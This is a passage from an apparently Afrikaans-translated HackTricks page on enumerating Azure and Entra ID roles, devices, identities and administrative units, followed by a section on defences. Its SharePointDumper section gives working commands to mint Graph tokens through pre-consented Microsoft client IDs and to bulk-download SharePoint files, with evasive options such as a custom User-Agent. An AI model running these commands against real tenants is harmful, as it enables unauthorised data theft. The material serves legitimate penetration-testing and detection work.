impersonate).\ > Aanmeldings as hierdie service principals word **nie as risky gemerk nie** en hulle **sal nie MFA hê nie.** Dit is moontlik om 'n lys van algemeen gebruikte App IDs wat aan Microsoft behoort te vind by [https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications](https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications) ### Managed Identities Vir meer inligting oor Managed Identities, sien: {{#ref}} ../az-basic-information/ {{#endref}} {{#tabs }} {{#tab name="az cli" }} ```bash # List all manged identities az identity list --output table # With the principal ID you can continue the enumeration in service principals ``` {{#endtab }} {{#endtabs }} ### Azure-rolle Vir meer inligting oor Azure-rolle, sien: {{#ref}} ../az-basic-information/ {{#endref}} {{#tabs }} {{#tab name="az cli" }} ```bash # Get roles az role definition list # Get all assigned roles az role assignment list --all --query "[].roleDefinitionName" az role assignment list --all | jq '.[] | .roleDefinitionName,.scope' # Get info of 1 role az role definition list --name "AzureML Registry User" # Get only custom roles az role definition list --custom-role-only # Get only roles assigned to the resource group indicated az role definition list --resource-group # Get only roles assigned to the indicated scope az role definition list --scope # Get all the principals a role is assigned to az role assignment list --all --query "[].{principalName:principalName,principalType:principalType,scope:scope,roleDefinitionName:roleDefinitionName}[?roleDefinitionName=='']" # Get all the roles assigned to a user az role assignment list --assignee "" --all --output table # Get all the roles assigned to a user by filtering az role assignment list --all --query "[?principalName=='admin@organizationadmin.onmicrosoft.com']" --output table # Get deny assignments az rest --method GET --uri "https://management.azure.com/{scope}/providers/Microsoft.Authorization/denyAssignments?api-version=2022-04-01" ## Example scope of subscription az rest --method GET --uri "https://management.azure.com/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/providers/Microsoft.Authorization/denyAssignments?api-version=2022-04-01" ``` {{#endtab }} {{#tab name="MS Graph" }} ```bash # List all available role templates using Microsoft Graph PowerShell Get-MgDirectoryRoleTemplate -All # List enabled built-in Entra ID roles Get-MgDirectoryRole -All # List all Entra ID roles with their permissions (including custom roles) Get-MgDirectoryRoleDefinition -All # List members of a Entra ID role Get-MgDirectoryRoleMember -DirectoryRoleId -All # List available commands in Microsoft Graph PowerShell Get-Command -Module Microsoft.Graph.Identity.DirectoryManagement ``` {{#endtab }} {{#tab name="Az" }} ```bash # Get role assignments on the subscription Get-AzRoleDefinition # Get Role definition Get-AzRoleDefinition -Name "Virtual Machine Command Executor" # Get roles of a user or resource Get-AzRoleAssignment -SignInName test@corp.onmicrosoft.com Get-AzRoleAssignment -Scope /subscriptions//resourceGroups//providers/Microsoft.Compute/virtualMachines/ # Get deny assignments Get-AzDenyAssignment # Get from current subscription Get-AzDenyAssignment -Scope '/subscriptions/96231a05-34ce-4eb4-aa6a-70759cbb5e83/resourcegroups/testRG/providers/Microsoft.Web/sites/site1' ``` {{#tab name="Raw" }} ```bash # Get permissions over a resource using ARM directly $Token = (Get-AzAccessToken).Token $URI = 'https://management.azure.com/subscriptions/b413826f-108d-4049-8c11-d52d5d388768/resourceGroups/Research/providers/Microsoft.Compute/virtualMachines/infradminsrv/providers/Microsoft.Authorization/permissions?api-version=2015-07-01' $RequestParams = @{ Method = 'GET' Uri = $URI Headers = @{ 'Authorization' = "Bearer $Token" } } (Invoke-RestMethod @RequestParams).value ``` {{#endtab }} {{#endtabs }} ### Entra ID-rolle Vir meer inligting oor Azure-rolle sien: {{#ref}} ../az-basic-information/ {{#endref}} {{#tabs }} {{#tab name="az cli" }} ```bash # List template Entra ID roles az rest --method GET \ --uri "https://graph.microsoft.com/v1.0/directoryRoleTemplates" # List enabled built-in Entra ID roles az rest --method GET \ --uri "https://graph.microsoft.com/v1.0/directoryRoles" # List all Entra ID roles with their permissions (including custom roles) az rest --method GET \ --uri "https://graph.microsoft.com/v1.0/roleManagement/directory/roleDefinitions" # List only custom Entra ID roles az rest --method GET \ --uri "https://graph.microsoft.com/v1.0/roleManagement/directory/roleDefinitions" | jq '.value[] | select(.isBuiltIn == false)' # List all assigned Entra ID roles az rest --method GET \ --uri "https://graph.microsoft.com/v1.0/roleManagement/directory/roleAssignments" # List members of a Entra ID roles az rest --method GET \ --uri "https://graph.microsoft.com/v1.0/directoryRoles//members" # List Entra ID roles assigned to a user az rest --method GET \ --uri "https://graph.microsoft.com/v1.0/users//memberOf/microsoft.graph.directoryRole" \ --query "value[]" \ --output json # List Entra ID roles assigned to a group az rest --method GET \ --uri "https://graph.microsoft.com/v1.0/groups/$GROUP_ID/memberOf/microsoft.graph.directoryRole" \ --query "value[]" \ --output json # List Entra ID roles assigned to a service principal az rest --method GET \ --uri "https://graph.microsoft.com/v1.0/servicePrincipals/$SP_ID/memberOf/microsoft.graph.directoryRole" \ --query "value[]" \ --output json ``` {{#endtab }} {{#tab name="Azure AD" }} ```bash # Get all available role templates Get-AzureADDirectoryroleTemplate # Get enabled roles (Assigned roles) Get-AzureADDirectoryRole Get-AzureADDirectoryRole -ObjectId #Get info about the role # Get custom roles - use AzureAdPreview Get-AzureADMSRoleDefinition | ?{$_.IsBuiltin -eq $False} | select DisplayName # Users assigned a role (Global Administrator) Get-AzureADDirectoryRole -Filter "DisplayName eq 'Global Administrator'" | Get-AzureADDirectoryRoleMember Get-AzureADDirectoryRole -ObjectId | fl # Roles of the Administrative Unit (who has permissions over the administrative unit and its members) Get-AzureADMSScopedRoleMembership -Id | fl * ``` {{#endtab }} {{#endtabs }} ### Toestelle {{#tabs }} {{#tab name="az cli" }} ```bash # If you know how to do this send a PR! ``` {{#endtab }} {{#tab name="MS Graph" }} ```bash # Enumerate devices using Microsoft Graph PowerShell Get-MgDevice -All # Get device details Get-MgDevice -DeviceId | Format-List * # Get devices managed using Intune Get-MgDevice -Filter "isCompliant eq true" -All # Get devices owned by a user Get-MgUserOwnedDevice -UserId test@corp.onmicrosoft.com # List available commands in Microsoft Graph PowerShell Get-Command -Module Microsoft.Graph.Identity.DirectoryManagement ``` {{#endtab }} {{#tab name="Azure AD" }} ```bash # Enumerate Devices Get-AzureADDevice -All $true | fl * # List all the active devices (and not the stale devices) Get-AzureADDevice -All $true | ?{$_.ApproximateLastLogonTimeStamp -ne $null} # Get owners of all devices Get-AzureADDevice -All $true | Get-AzureADDeviceRegisteredOwner Get-AzureADDevice -All $true | %{if($user=Get-AzureADDeviceRegisteredOwner -ObjectId $_.ObjectID){$_;$user.UserPrincipalName;"`n"}} # Registred users of all the devices Get-AzureADDevice -All $true | Get-AzureADDeviceRegisteredUser Get-AzureADDevice -All $true | %{if($user=Get-AzureADDeviceRegisteredUser -ObjectId $_.ObjectID){$_;$user.UserPrincipalName;"`n"}} # Get dives managed using Intune Get-AzureADDevice -All $true | ?{$_.IsCompliant -eq "True"} # Get devices owned by a user Get-AzureADUserOwnedDevice -ObjectId test@corp.onmicrosoft.com # Get Administrative Units of a device Get-AzureADMSAdministrativeUnit | where { Get-AzureADMSAdministrativeUnitMember -ObjectId $_.ObjectId | where {$_.ObjectId -eq $deviceObjId} } ``` {{#endtab }} {{#endtabs }} > [!WARNING] > As 'n toestel (VM) **AzureAD joined** is, sal gebruikers van AzureAD **in staat wees om aan te meld**.\ > Verder, as die aangemelde gebruiker **Owner** van die toestel is, sal hy **local admin** wees. ### Administratiewe Eenhede Vir meer inligting oor administratiewe eenhede, kyk: {{#ref}} ../az-basic-information/ {{#endref}} {{#tabs }} {{#tab name="az cli" }} ```bash # List all administrative units az rest --method GET --uri "https://graph.microsoft.com/v1.0/directory/administrativeUnits" # Get AU info az rest --method GET --uri "https://graph.microsoft.com/v1.0/directory/administrativeUnits/a76fd255-3e5e-405b-811b-da85c715ff53" # Get members az rest --method GET --uri "https://graph.microsoft.com/v1.0/directory/administrativeUnits/a76fd255-3e5e-405b-811b-da85c715ff53/members" # Get principals with roles over the AU az rest --method GET --uri "https://graph.microsoft.com/v1.0/directory/administrativeUnits/a76fd255-3e5e-405b-811b-da85c715ff53/scopedRoleMembers" ``` {{#endtab }} {{#tab name="AzureAD" }} ```bash # Get Administrative Units Get-AzureADMSAdministrativeUnit Get-AzureADMSAdministrativeUnit -Id # Get ID of admin unit by string $adminUnitObj = Get-AzureADMSAdministrativeUnit -Filter "displayname eq 'Test administrative unit 2'" # List the users, groups, and devices affected by the administrative unit Get-AzureADMSAdministrativeUnitMember -Id # Get the roles users have over the members of the AU Get-AzureADMSScopedRoleMembership -Id | fl #Get role ID and role members ``` {{#endtab }} {{#endtabs }} ## Microsoft Graph gedelegeerde SharePoint data exfiltration (SharePointDumper) Aanvallers met 'n **gedelegeerde Microsoft Graph token** wat **`Sites.Read.All`** of **`Sites.ReadWrite.All`** insluit, kan **sites/drives/items** oor Graph enumereer en dan **lêerinhoud aflaai** via **SharePoint pre-authentication download URLs** (tydbeperkte URLs wat 'n access token insluit). Die [SharePointDumper](https://github.com/zh54321/SharePointDumper) script automatiseer die volle vloei (enumeration → pre-auth downloads) en stuur per-versoek telemetrie vir deteksietoetsing. ### Verkryging van bruikbare gedelegeerde tokens - SharePointDumper self **authentikeer nie**; voorsien 'n access token (opsioneel 'n refresh token). - Vooraf-toegestemde (pre-consented) **first-party clients** kan misbruik word om 'n Graph token te mint sonder om 'n app te registreer. Voorbeeld `Invoke-Auth` (van [EntraTokenAid](https://github.com/zh54321/EntraTokenAid)) aanroepe: ```powershell # CAE requested by default; yields long-lived (~24h) access token Import-Module ./EntraTokenAid/EntraTokenAid.psm1 $tokens = Invoke-Auth -ClientID 'b26aadf8-566f-4478-926f-589f601d9c74' -RedirectUrl 'urn:ietf:wg:oauth:2.0:oob' # OneDrive (FOCI TRUE) # Other pre-consented clients Invoke-Auth -ClientID '1fec8e78-bce4-4aaf-ab1b-5451cc387264' -RedirectUrl 'https://login.microsoftonline.com/common/oauth2/nativeclient' # Teams (FOCI TRUE) Invoke-Auth -ClientID 'd326c1ce-6cc6-4de2-bebc-4591e5e13ef0' -RedirectUrl 'msauth://code/ms-sharepoint-auth%3A%2F%2Fcom.microsoft.sharepoint' # SharePoint (FOCI TRUE) Invoke-Auth -ClientID '4765445b-32c6-49b0-83e6-1d93765276ca' -RedirectUrl 'https://scuprodprv.www.microsoft365.com/spalanding' -Origin 'https://doesnotmatter' # OfficeHome (FOCI FALSE) Invoke-Auth -ClientID '08e18876-6177-487e-b8b5-cf950c1e598c' -RedirectUrl 'https://onedrive.cloud.microsoft/_forms/spfxsinglesignon.aspx' -Origin 'https://doesnotmatter' # SPO Web Extensibility (FOCI FALSE) ``` > [!NOTE] > FOCI TRUE kliënte ondersteun refresh oor verskeie toestelle; FOCI FALSE kliënte vereis dikwels `-Origin` om reply URL oorsprongvalidasie te bevredig. ### SharePointDumper gebruik vir enumeration + exfiltration - Basiese dump met aangepaste UA / proxy / throttling: ```powershell .\Invoke-SharePointDumper.ps1 -AccessToken $tokens.access_token -UserAgent "Not SharePointDumper" -RequestDelaySeconds 2 -Variation 3 -Proxy 'http://127.0.0.1:8080' ``` - Omvangbeheer: insluit/uitsluit werwe of uitbreidings en globale perke: ```powershell .\Invoke-SharePointDumper.ps1 -AccessToken $tokens.access_token -IncludeSites 'Finance','Projects' -IncludeExtensions pdf,docx -MaxFiles 500 -MaxTotalSizeMB 100 ``` - **Hervat** onderbroke uitvoerings (herskan maar slaan reeds afgelaaide items oor): ```powershell .\Invoke-SharePointDumper.ps1 -AccessToken $tokens.access_token -Resume -OutputFolder .\20251121_1551_MyTenant ``` - **Outomatiese token-verversing op HTTP 401** (vereis EntraTokenAid gelaai): ```powershell Import-Module ./EntraTokenAid/EntraTokenAid.psm1 .\Invoke-SharePointDumper.ps1 -AccessToken $tokens.access_token -RefreshToken $tokens.refresh_token -RefreshClientId 'b26aadf8-566f-4478-926f-589f601d9c74' ``` Operationele notas: - Verkies **CAE-enabled** tokens om mid-run verval te voorkom; vernuwingpogings word **nie** in die tool se API-log aangeteken. - Genereer **CSV/JSON request logs** vir **Graph + SharePoint** en masker ingebedde SharePoint download tokens standaard (skakelbaar). - Ondersteun **custom User-Agent**, **HTTP proxy**, **per-request delay + jitter**, en **Ctrl+C-safe shutdown** vir traffic shaping tydens detection/IR tests. ## Entra ID Privilege Escalation {{#ref}} ../az-privilege-escalation/az-entraid-privesc/ {{#endref}} ## Azure Privilege Escalation {{#ref}} ../az-privilege-escalation/az-authorization-privesc.md {{#endref}} ## Verdedigingsmeganismes ### Privileged Identity Management (PIM) Privileged Identity Management (PIM) in Azure help om te **voorkom dat oormatige bevoegdhede** onnodig aan gebruikers toegeken word. Een van die hoofkenmerke wat deur PIM aangebied word, is dat dit toelaat om rolle nie aan principals wat konstant aktief is toe te ken nie, maar hulle in aanmerking te laat kom vir 'n tydperk (bv. 6 maande). Wanneer die gebruiker dan daardie rol wil aktiveer, moet hy daarvoor vra en die tyd aandui wat hy die bevoegdheid nodig het (bv. 3 uur). Daarna moet 'n **admin die versoek goedkeur**. Let daarop dat die gebruiker ook kan vra om die tyd te **verleng**. Boonop stuur **PIM e-posse** wanneer 'n geprivilegieerde rol aan iemand toegeken word.
Wanneer PIM geaktiveer is, is dit moontlik om elke rol met sekere vereistes te konfigureer soos: - Maksimum duur (ure) van aktivering - Vereis MFA by aktivering - Vereis Conditional Access authentication context - Vereis regverdiging by aktivering - Vereis ticket-inligting by aktivering - Vereis goedkeuring om te aktiveer - Maksimum tyd tot die in aanmerking komende toewysings verval - Baie meer konfigurasie oor wanneer en aan wie kennisgewings gestuur word wanneer sekere aksies met daardie rol plaasvind ### Conditional Access Policies Kyk: {{#ref}} ../az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md {{#endref}} ### Entra Identity Protection Entra Identity Protection is 'n sekuriteitsdiens wat toelaat om te **ontdek wanneer 'n gebruiker of 'n aanmelding te riskant** is om aanvaar te word, en om die gebruiker of die aanmeldingspoging te **blokkeer**. Dit stel die admin in staat om dit so te konfigureer om pogings te **blokkeer** wanneer die risiko "Low and above", "Medium and above" of "High" is. Alhoewel dit standaard heeltemal **gedeaktiveer** is:
> [!TIP] > Deesdae word aanbeveel om hierdie beperkings via Conditional Access policies by te voeg waar dit moontlik is om dieselfde opsies te konfigureer. ### Entra Password Protection Entra Password Protection ([https://portal.azure.com/index.html#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade](https://portal.azure.com/#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade)) is 'n sekuriteitsfunksie wat help om die misbruik van swak wagwoorde te voorkom deur rekeninge te blokkeer wanneer verskeie onsuksesvolle aanmeldingspogings plaasvind. Dit maak ook voorsiening om 'n persoonlike wagwoordlys te **verbied** wat jy moet verskaf. Dit kan **op beide** vlakke toegepas word: in die cloud en on-premises Active Directory. Die verstekmodus is **Audit**:
## Verwysings - [https://learn.microsoft.com/en-us/azure/active-directory/roles/administrative-units](https://learn.microsoft.com/en-us/azure/active-directory/roles/administrative-units) - [SharePointDumper](https://github.com/zh54321/SharePointDumper) - [EntraTokenAid](https://github.com/zh54321/EntraTokenAid) {{#include ../../../banners/hacktricks-training.md}}